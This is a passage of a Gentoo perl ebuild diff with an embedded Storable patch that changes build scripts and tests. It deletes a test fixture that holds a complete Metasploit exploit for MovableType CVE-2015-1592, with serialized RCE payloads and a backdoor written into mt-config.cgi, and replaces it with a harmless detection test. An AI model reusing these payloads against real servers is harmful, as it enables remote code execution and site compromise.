+ my ($n, $good, $bad, $found) =
+ (65000, 100, $bad1, undef);
+-print "probe for max. stack sizes...\n" unless QUIET;
++print "# probe for max. stack sizes...\n" unless QUIET;
+ # -I. since we're run before pm_to_blib (which is going to copy the
+ # file we create) and need to load our Storable.pm, not the already
+ # installed Storable.pm
+-my $mblib = '-Mblib -I.';
+-if ($ENV{PERL_CORE}) {
+- if ($^O eq 'MSWin32') {
+- $mblib = '-I..\..\lib\auto -I..\..\lib';
+- } else {
+- $mblib = '-I../../lib/auto -I../../lib';
+- }
++my $mblib = '';
++if (-d 'blib') {
++ $mblib = '-Mblib -I.';
+ }
+-if (PARALLEL) {
+- # problem with parallel builds. wait for INST_DYNAMIC linking to be done.
+- # the problem is the RM_F INST_DYNAMIC race.
+- print "parallel build race - wait for linker ...\n" unless QUIET;
+- sleep(2.0);
++elsif (-f "Configure") {
++ $mblib = '-Ilib';
+ }
+
+ sub cmd {
+@@ -117,7 +79,7 @@ sub cmd {
+ sub good {
+ my $i = shift; # this passed
+ my $j = $i + abs(int(($bad - $i) / 2));
+- print "Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET;
++ print "# Storable: determining recursion limit: $i passed, try more $j ...\n" unless QUIET;
+ $good = $i;
+ if ($j <= $i) {
+ $found++;
+@@ -128,7 +90,7 @@ sub good {
+ sub bad {
+ my $i = shift; # this failed
+ my $j = $i - abs(int(($i - $good) / 2));
+- print "Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET;
++ print "# Storable: determining recursion limit: $i too big, try less $j ...\n" unless QUIET;
+ $bad = $i;
+ if ($j >= $i) {
+ $j = $good;
+@@ -162,7 +124,7 @@ while (!$found) {
+ $n = bad($n);
+ }
+ }
+-print "MAX_DEPTH = $n\n" unless QUIET;
++print "# MAX_DEPTH = $n\n" unless QUIET;
+ my $max_depth = $n;
+
+ ($n, $good, $bad, $found) =
+@@ -186,13 +148,13 @@ if ($max_depth == $bad1-1
+ and $n == $bad2-1)
+ {
+ # more likely the shell. travis docker ubuntu, mingw e.g.
+- print "Error: Apparently your system(SHELLSTRING) cannot catch stack overflows\n"
++ print "# Apparently your system(SHELLSTRING) cannot catch stack overflows\n"
+ unless QUIET;
+ $max_depth = 512;
+ $n = 256;
+ print "MAX_DEPTH = $max_depth\n" unless QUIET;
+ }
+-print "MAX_DEPTH_HASH = $n\n" unless QUIET;
++print "# MAX_DEPTH_HASH = $n\n" unless QUIET;
+ my $max_depth_hash = $n;
+
+ # Previously this calculation was done in the macro, calculate it here
+@@ -203,7 +165,7 @@ my $max_depth_hash = $n;
+ # several apparently random failures here, eg. working in one
+ # configuration, but not in a very similar configuration.
+ $max_depth = int(0.6 * $max_depth);
+-$max_depth_hash = int(0.6 * $max_depth);
++$max_depth_hash = int(0.6 * $max_depth_hash);
+
+ my $stack_reserve = $^O eq "MSWin32" ? 32 : 16;
+ if ($] ge "5.016" && !($^O eq "cygwin" && $ptrsize == 8)) {
+@@ -221,16 +183,11 @@ write_limits($max_depth, $max_depth_hash);
+
+ sub write_limits {
+ my ($max_depth, $max_depth_hash) = @_;
+- my $f;
+- open $f, ">", $fn or die "$fn $!";
+- print $f <<EOS;
++ print <<EOS;
+ # bisected by stacksize
+ \$Storable::recursion_limit = $max_depth
+ unless defined \$Storable::recursion_limit;
+ \$Storable::recursion_limit_hash = $max_depth_hash
+ unless defined \$Storable::recursion_limit_hash;
+-1;
+ EOS
+- close $f
+- or die "Failed to close $fn: $!\n";
+ }
+diff --git a/dist/Storable/t/CVE-2015-1592.inc b/dist/Storable/t/CVE-2015-1592.inc
+deleted file mode 100644
+index 481dba5..0000000
+--- a/dist/Storable/t/CVE-2015-1592.inc
++++ /dev/null
+@@ -1,261 +0,0 @@
+-#!/usr/bin/perl
+-
+-=pod
+-
+-class MetasploitModule < Msf::Exploit::Remote
+- Rank = GoodRanking
+-
+- include Msf::Exploit::Remote::HttpClient
+-
+- def initialize(info = {})
+- super(update_info(info,
+- 'Name' => 'SixApart MovableType Storable Perl Code Execution',
+- 'Description' => %q{
+- This module exploits a serialization flaw in MovableType before 5.2.12 to execute
+- arbitrary code. The default nondestructive mode depends on the target server having
+- the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
+- The destructive mode of operation uses only required MovableType dependencies,
+- but it will noticeably corrupt the MovableType installation.
+- },
+- 'Author' =>
+- [
+- 'John Lightsey',
+- ],
+- 'License' => MSF_LICENSE,
+- 'References' =>
+- [
+- [ 'CVE', '2015-1592' ],
+- [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
+- ],
+- 'Privileged' => false, # web server context
+- 'Payload' =>
+- {
+- 'DisableNops' => true,
+- 'BadChars' => ' ',
+- 'Space' => 1024,
+- },
+- 'Compat' =>
+- {
+- 'PayloadType' => 'cmd'
+- },
+- 'Platform' => ['unix'],
+- 'Arch' => ARCH_CMD,
+- 'Targets' => [['Automatic', {}]],
+- 'DisclosureDate' => 'Feb 11 2015',
+- 'DefaultTarget' => 0))
+-
+- register_options(
+- [
+- OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
+- OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
+- ], self.class
+- )
+-
+- end
+-
+-=cut
+-
+-# generate config parameters for injection checks
+-
+-use Storable;
+-
+-{
+-
+- package XXXCHECKXXX;
+-
+- sub STORABLE_thaw {
+- return 1;
+- }
+-
+- sub STORABLE_freeze {
+- return 1;
+- }
+-
+-}
+-
+-my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
+-my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
+-$frozen2 = unpack 'H*', $frozen2;
+-#print "LFI test for storable flaw is: $frozen2\n";
+-
+-{
+- package DateTime;
+- use overload '+' => sub { 'ignored' };
+-}
+-
+-=pod
+-
+- def check
+- vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
+- res = send_request_cgi({
+- 'method' => 'GET',
+- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+- 'vars_get' => {
+- '__mode' => 'retry',
+- 'step' => 'configure',
+- 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
+- }
+- })
+-
+- unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
+- vprint_status("Failed XXXCHECKXXX.pm load test");
+- return Exploit::CheckCode::Safe
+- end
+- Exploit::CheckCode::Vulnerable
+- end
+-
+- def exploit
+- if datastore['DESTRUCTIVE']
+- exploit_destructive
+- else
+- exploit_nondestructive
+- end
+- end
+-
+-=cut
+-
+-#!/usr/bin/perl
+-
+-# Generate nondestructive config parameter for RCE via Object::MultiType
+-# and Try::Tiny. The generated value requires minor modification to insert
+-# the payload inside the system() call and resize the padding.
+-
+-use Storable;
+-
+-{
+- package Object::MultiType;
+- use overload '+' => sub { 'ingored' };
+-}
+-
+-{
+- package Object::MultiType::Saver;
+-}
+-
+-#{
+-# package DateTime;
+-# use overload '+' => sub { 'ingored' };
+-#}
+-
+-{
+- package Try::Tiny::ScopeGuard;
+-}
+-
+-my $try_tiny_loader = bless {}, 'DateTime';
+-my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
+-my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
+-my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
+-
+-my $data = [$try_tiny_loader, $try_tiny_executor];
+-my $frozen1 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
+-$frozen1 = unpack 'H*', $frozen1;
+-#print "RCE payload requiring Object::MultiType and DateTime: $frozen1\n";
+-
+-=pod
+-
+- def exploit_nondestructive
+- print_status("Using nondestructive attack method")
+- config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
+- config_payload << payload.encoded.unpack('H*')[0]
+- config_payload << "7d293b"
+- config_payload << "23" * (1025 - payload.encoded.length)
+- config_payload << "0a657869743b"
+-
+- print_status("Sending payload (#{payload.raw.length} bytes)")
+-
+- send_request_cgi({
+- 'method' => 'GET',
+- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+- 'vars_get' => {
+- '__mode' => 'retry',
+- 'step' => 'configure',
+- 'config' => config_payload
+- }
+- }, 5)
+- end
+-
+-=cut
+-
+-#!/usr/bin/perl
+-
+-# Generate destructive config parameter to unlink mt-config.cgi
+-
+-use Storable;
+-
+-{
+- package CGITempFile;
+-}
+-
+-my $unlink_target = "mt-config.cgi";
+-my $cgitempfile = bless \$unlink_target, "CGITempFile";
+-
+-$data = [$cgitempfile];
+-my $frozen_data = Storable::freeze($data);
+-my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
+-$frozen = unpack 'H*', $frozen;
+-#print "RCE unlink payload requiring CGI: $frozen\n";
+-
+-# $Storable::DEBUGME = 1;
+-# $^W = 1;
+-Storable::thaw($frozen_data);
+-
+-=pod
+-
+-def exploit_destructive
+- print_status("Using destructive attack method")
+- # First we need to delete mt-config.cgi using the storable injection
+-
+- print_status("Sending storable injection to unlink mt-config.cgi")
+-
+- res = send_request_cgi({
+- 'method' => 'GET',
+- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+- 'vars_get' => {
+- '__mode' => 'retry',
+- 'step' => 'configure',
+- 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
+- }
+- })
+-
+- if res && res.code == 200
+- print_status("Successfully sent unlink request")
+- else
+- fail_with(Failure::Unknown, "Error sending unlink request")
+- end
+-
+- # Now we rewrite mt-config.cgi to accept a payload
+-
+- print_status("Rewriting mt-config.cgi to accept the payload")
+-
+- res = send_request_cgi({
+- 'method' => 'GET',
+- 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+- 'vars_get' => {
+- '__mode' => 'next_step',
+- 'step' => 'optional',
+- 'default_language' => 'en_us',
+- 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
+- 'set_static_uri_to' => '/',
+- 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
+- }
+- })
+-
+- if res && res.code == 200
+- print_status("Successfully sent mt-config rewrite request")
+- else
+- fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
+- end
+-
+- # Finally send the payload
+-
+- print_status("Sending payload request")
+-
+- send_request_cgi({
+- 'method' => 'GET',
+- 'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
+- 'vars_get' => {
+- 'xyzzy' => payload.encoded,
+- }
+- }, 5)
+- end
+-
+-=cut
+diff --git a/dist/Storable/t/CVE-2015-1592.t b/dist/Storable/t/CVE-2015-1592.t
+index 2730cdc..a71f44c 100644
+--- a/dist/Storable/t/CVE-2015-1592.t
++++ b/dist/Storable/t/CVE-2015-1592.t
+@@ -1,22 +1,21 @@
+ #!/usr/bin/perl
+
+ use strict;
++use warnings;
+ use Test::More;
++use Storable qw(freeze thaw);
+ plan tests => 1;
+
+-use File::Temp qw(tempdir);
+-use File::Spec;
+-my $tmp_dir = tempdir(CLEANUP => 1);
+-my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
++# this original worked with the packaged exploit, but that
++# triggers virus scanners, so test for the behaviour instead
++my $x = bless \(my $y = "mt-config.cgi"), "CGITempFile";
++
++my $frozen = freeze($x);
+
+-my $file = __FILE__;
+-$file =~ s/\.t$/.inc/;
+-my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
+-system qq($^X $inc -w "$file" 2>$tmp_file);
+-open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
+ {
+- local $/;
+- my $err = <$fh>;
+- like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
+- 'Detect CVE-2015-1592');
++ my $warnings = '';
++ local $SIG{__WARN__} = sub { $warnings .= "@_" };
++ thaw($frozen);
++ like($warnings, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
++ 'Detect CVE-2015-1592');
+ }
+diff --git a/dist/Storable/t/dclone.t b/dist/Storable/t/dclone.t
+index af3d7f6..ce6c756 100644
+--- a/dist/Storable/t/dclone.t
++++ b/dist/Storable/t/dclone.t
+@@ -87,6 +87,8 @@ SKIP: {
+ # Do not fail if Tie::Hash and/or Tie::StdHash is not available
+ skip 'No Tie::StdHash available', 2
+ unless eval { require Tie::Hash; scalar keys %Tie::StdHash:: };
++ skip 'This version of perl has problems with Tie::StdHash', 2
++ if $] eq "5.008";
+ tie my %tie, "Tie::StdHash" or die $!;
+ $tie{array} = [1,2,3,4];
+ $tie{hash} = {1,2,3,4};
+diff --git a/dist/Storable/t/recurse.t b/dist/Storable/t/recurse.t
+index 63fde90..b5967a0 100644
+--- a/dist/Storable/t/recurse.t
++++ b/dist/Storable/t/recurse.t
+@@ -318,9 +318,11 @@ is($refcount_ok, 1, "check refcount");
+ # Small 64bit systems fail with 1200 (c++ debugging), with gcc 3000.
+ # Optimized 64bit allows up to 33.000 recursion depth.
+ # with asan the limit is 255 though.
++
++local $Storable::recursion_limit = 30;
++local $Storable::recursion_limit_hash = 20;
+ sub MAX_DEPTH () { Storable::stack_depth() }
+ sub MAX_DEPTH_HASH () { Storable::stack_depth_hash() }
+-sub OVERFLOW () { 35000 }
+ {
+ my $t;
+ print "# max depth ", MAX_DEPTH, "\n";
+diff --git a/dist/Storable/t/threads.t b/dist/Storable/t/threads.t
+index 0bc2486..0b34334 100644
+--- a/dist/Storable/t/threads.t
++++ b/dist/Storable/t/threads.t
+@@ -28,6 +28,10 @@ sub BEGIN {
+ print "1..0 # Skip: no threads\n";
+ exit 0;
+ }
++ if ($] eq "5.008" || $] eq "5.010000") {
++ print "1..0 # Skip: threads unreliable in perl-$]\n";
++ exit 0;
++ }
+ # - is \W, so can't use \b at start. Negative look ahead and look behind
+ # works at start/end of string, or where preceded/followed by spaces
+ if ($] == 5.008002 and eval q{ $Config{'ccflags'} =~ /(?<!\S)-DDEBUGGING(?!\S)/ }) {
+diff --git a/mkppport.lst b/mkppport.lst
+index a443dac..b3992c8 100644
+--- a/mkppport.lst
++++ b/mkppport.lst
+@@ -12,3 +12,4 @@ cpan/Win32API-File
+ dist/IO
+ dist/PathTools
+ dist/Time-HiRes
++dist/Storable
+diff --git a/win32/GNUmakefile b/win32/GNUmakefile
+index 200d8a5..1c163d7 100644
+--- a/win32/GNUmakefile
++++ b/win32/GNUmakefile
+@@ -1177,7 +1177,7 @@ CFG_VARS = \
+
+ .PHONY: all info
+
+-all : info rebasePE Extensions_nonxs $(PERLSTATIC) PostExt
++all : info rebasePE Extensions_nonxs $(PERLSTATIC)
+
+ info :
+ @echo # CCTYPE=$(CCTYPE)
+@@ -1621,16 +1621,6 @@ Extensions_clean :
+ Extensions_realclean :
+ -if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=realclean
+
+-PostExt : ..\lib\Storable\Limit.pm
+-
+-# we need the exe, perl(ver).dll, and the Exporter, Storable, Win32 extensions
+-# rebasePE most of that, including adjustment for static builds, so we
+-# just need non-xs extensions
+-..\lib\Storable\Limit.pm : rebasePE Extensions_nonxs
+- $(PLMAKE) -C ..\dist\Storable lib\Storable\Limit.pm
+- if not exist ..\lib\Storable mkdir ..\lib\Storable
+- copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm
+-
+ # all PE files need to be built by the time this target runs, PP files can still
+ # be running in parallel like UNIDATAFILES, this target a placeholder for the
+ # future
+diff --git a/win32/Makefile b/win32/Makefile
+index 481fcd8..8e7878c 100644
+--- a/win32/Makefile
++++ b/win32/Makefile
+@@ -948,7 +948,7 @@ CFG_VARS = \
+ #
+
+ all : .\config.h ..\git_version.h $(GLOBEXE) $(CONFIGPM) \
+- $(UNIDATAFILES) MakePPPort $(PERLEXE) Extensions_nonxs Extensions PostExt \
++ $(UNIDATAFILES) MakePPPort $(PERLEXE) Extensions_nonxs Extensions \
+ $(PERLSTATIC)
+ @echo Everything is up to date. '$(MAKE_BARE) test' to run test suite.
+
+@@ -1234,13 +1234,6 @@ Extensions_clean:
+ Extensions_realclean:
+ -if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(MAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=realclean
+
+-PostExt: ..\lib\Storable\Limit.pm
+-
+-..\lib\Storable\Limit.pm: $(PERLEXE) Extensions
+- cd ..\dist\Storable && $(MAKE) lib\Storable\Limit.pm
+- if not exist ..\lib\Storable mkdir ..\lib\Storable
+- copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm
+-
+ #-------------------------------------------------------------------------------
+
+ doc: $(PERLEXE) ..\pod\perltoc.pod
+@@ -1319,7 +1312,6 @@ distclean: realclean
+ -del /f $(LIBDIR)\Time\HiRes.pm
+ -del /f $(LIBDIR)\Unicode\Normalize.pm
+ -del /f $(LIBDIR)\Math\BigInt\FastCalc.pm
+- -del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm
+ -del /f $(LIBDIR)\Win32.pm
+ -del /f $(LIBDIR)\Win32CORE.pm
+ -del /f $(LIBDIR)\Win32API\File.pm
+diff --git a/win32/makefile.mk b/win32/makefile.mk
+index 7dae753..8122c75 100644
+--- a/win32/makefile.mk
++++ b/win32/makefile.mk
+@@ -1148,7 +1148,7 @@ CFG_VARS = \
+ # Top targets
+ #
+
+-all : CHECKDMAKE rebasePE Extensions_nonxs $(PERLSTATIC) PostExt
++all : CHECKDMAKE rebasePE Extensions_nonxs $(PERLSTATIC)
+
+ ..\regcomp$(o) : ..\regnodes.h ..\regcharclass.h
+
+@@ -1572,17 +1572,6 @@ rebasePE : Extensions $(PERLDLL) $(NORMALIZE_DYN) $(PERLEXE)
+ .ENDIF
+ $(NOOP)
+
+-PostExt : ..\lib\Storable\Limit.pm
+- $(NOOP)
+-
+-# we need the exe, perl(ver).dll, and the Exporter, Storable, Win32 extensions
+-# rebasePE most of that, including adjustment for static builds, so we
+-# just need non-xs extensions
+-..\lib\Storable\Limit.pm : rebasePE Extensions_nonxs
+- cd ..\dist\Storable && $(MAKE) lib\Storable\Limit.pm
+- if not exist ..\lib\Storable mkdir ..\lib\Storable
+- copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm
+-
+ #-------------------------------------------------------------------------------
+
+
+@@ -1657,7 +1646,7 @@ distclean: realclean
+ -del /f $(LIBDIR)\Time\HiRes.pm
+ -del /f $(LIBDIR)\Unicode\Normalize.pm
+ -del /f $(LIBDIR)\Math\BigInt\FastCalc.pm
+- -del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm
++ -del /f $(LIBDIR)\Storable.pm
+ -del /f $(LIBDIR)\Win32.pm
+ -del /f $(LIBDIR)\Win32CORE.pm
+ -del /f $(LIBDIR)\Win32API\File.pm
+--
+2.21.0
+
diff --git a/dev-lang/perl/perl-5.28.1.ebuild b/dev-lang/perl/perl-5.28.2.ebuild
index 05c722d5..9de40db0 100644
--- a/dev-lang/perl/perl-5.28.1.ebuild
+++ b/dev-lang/perl/perl-5.28.2.ebuild
@@ -5,18 +5,18 @@ EAPI=6
inherit eutils alternatives flag-o-matic toolchain-funcs multilib multiprocessing
-PATCH_VER=1
+PATCH_VER=2
CROSS_VER=1.2.2
-PATCH_BASE="perl-5.28.0-patches-${PATCH_VER}"
+PATCH_BASE="perl-5.28.2-patches-${PATCH_VER}"
+PATCH_DEV=dilfridge
-PATCHES=( "${FILESDIR}"/5.28/${PN}-5.28.1-part{1,2,3,4,5}.patch )
-
-DIST_AUTHOR=XSAWYERX
+DIST_AUTHOR=SHAY
# Greatest first, don't include yourself
# Devel point-releases are not ABI-intercompatible, but stable point releases are
# BIN_OLDVERSEN is contains only C-ABI-intercompatible versions
-PERL_BIN_OLDVERSEN=""
+PERL_BIN_OLDVERSEN="5.28.0"
+
if [[ "${PV##*.}" == "9999" ]]; then
DIST_VERSION=5.28.0
else
@@ -42,7 +42,7 @@ SRC_URI="
mirror://cpan/authors/id/${DIST_AUTHOR:0:1}/${DIST_AUTHOR:0:2}/${DIST_AUTHOR}/${MY_P}.tar.xz
https://github.com/gentoo-perl/perl-patchset/releases/download/${PATCH_BASE}/${PATCH_BASE}.tar.xz
mirror://gentoo/${PATCH_BASE}.tar.xz
- https://dev.gentoo.org/~kentnl/distfiles/${PATCH_BASE}.tar.xz
+ https://dev.gentoo.org/~${PATCH_DEV}/distfiles/${PATCH_BASE}.tar.xz
https://github.com/arsv/perl-cross/releases/download/${CROSS_VER}/perl-cross-${CROSS_VER}.tar.gz
"
HOMEPAGE="https://www.perl.org/"
@@ -77,7 +77,7 @@ PDEPEND="
S="${WORKDIR}/${MY_P}"
dual_scripts() {
- src_remove_dual perl-core/Archive-Tar 2.280.0 ptar ptardiff ptargrep
+ src_remove_dual perl-core/Archive-Tar 2.300.0 ptar ptardiff ptargrep
src_remove_dual perl-core/CPAN 2.200.0 cpan
src_remove_dual perl-core/Digest-SHA 6.10.0 shasum
src_remove_dual perl-core/Encode 2.970.0 enc2xs piconv
@@ -85,7 +85,7 @@ dual_scripts() {
src_remove_dual perl-core/ExtUtils-ParseXS 3.390.0 xsubpp
src_remove_dual perl-core/IO-Compress 2.74.0 zipdetails
src_remove_dual perl-core/JSON-PP 2.970.10 json_pp
- src_remove_dual perl-core/Module-CoreList 5.201.806.220 corelist
+ src_remove_dual perl-core/Module-CoreList 5.201.904.190 corelist
src_remove_dual perl-core/Pod-Parser 1.630.0 pod2usage podchecker podselect
src_remove_dual perl-core/Pod-Perldoc 3.280.100 perldoc
src_remove_dual perl-core/Test-Harness 3.420.0 prove
@@ -305,6 +305,9 @@ src_prepare() {
epatch "${FILESDIR}/${PN}-5.26.2-hppa.patch" # bug 634162
fi
+ # This fixes Storage/libperl segfaults on non glibc platforms
+ epatch "${FILESDIR}/5.28/${P}-portability.patch"
+
if [[ ${CHOST} == *-solaris* ]] ; then
# do NOT mess with nsl, on Solaris this is always necessary,
# when -lsocket is used e.g. to get h_errno
@@ -482,7 +485,7 @@ src_configure() {
# Use all host paths that might contain useful stuff, the hook above will filter out bad choices.
local paths="/lib/*-linux-gnu /usr/lib/*-linux-gnu /lib64 /lib/64 /usr/lib64 /usr/lib/64 /lib32 /usr/lib32 /lib /usr/lib"
- myconf "-Dlibpth="${EPREFIX}"/$(get_libdir) "${EPREFIX}"/usr/$(get_libdir) ${paths}"
+ myconf "-Dlibpth=${EPREFIX}/$(get_libdir) ${EPREFIX}/usr/$(get_libdir) ${paths}"
elif [[ $(get_libdir) != "lib" ]] ; then
# We need to use " and not ', as the written config.sh use ' ...
myconf "-Dlibpth=/usr/local/$(get_libdir) /$(get_libdir) /usr/$(get_libdir)"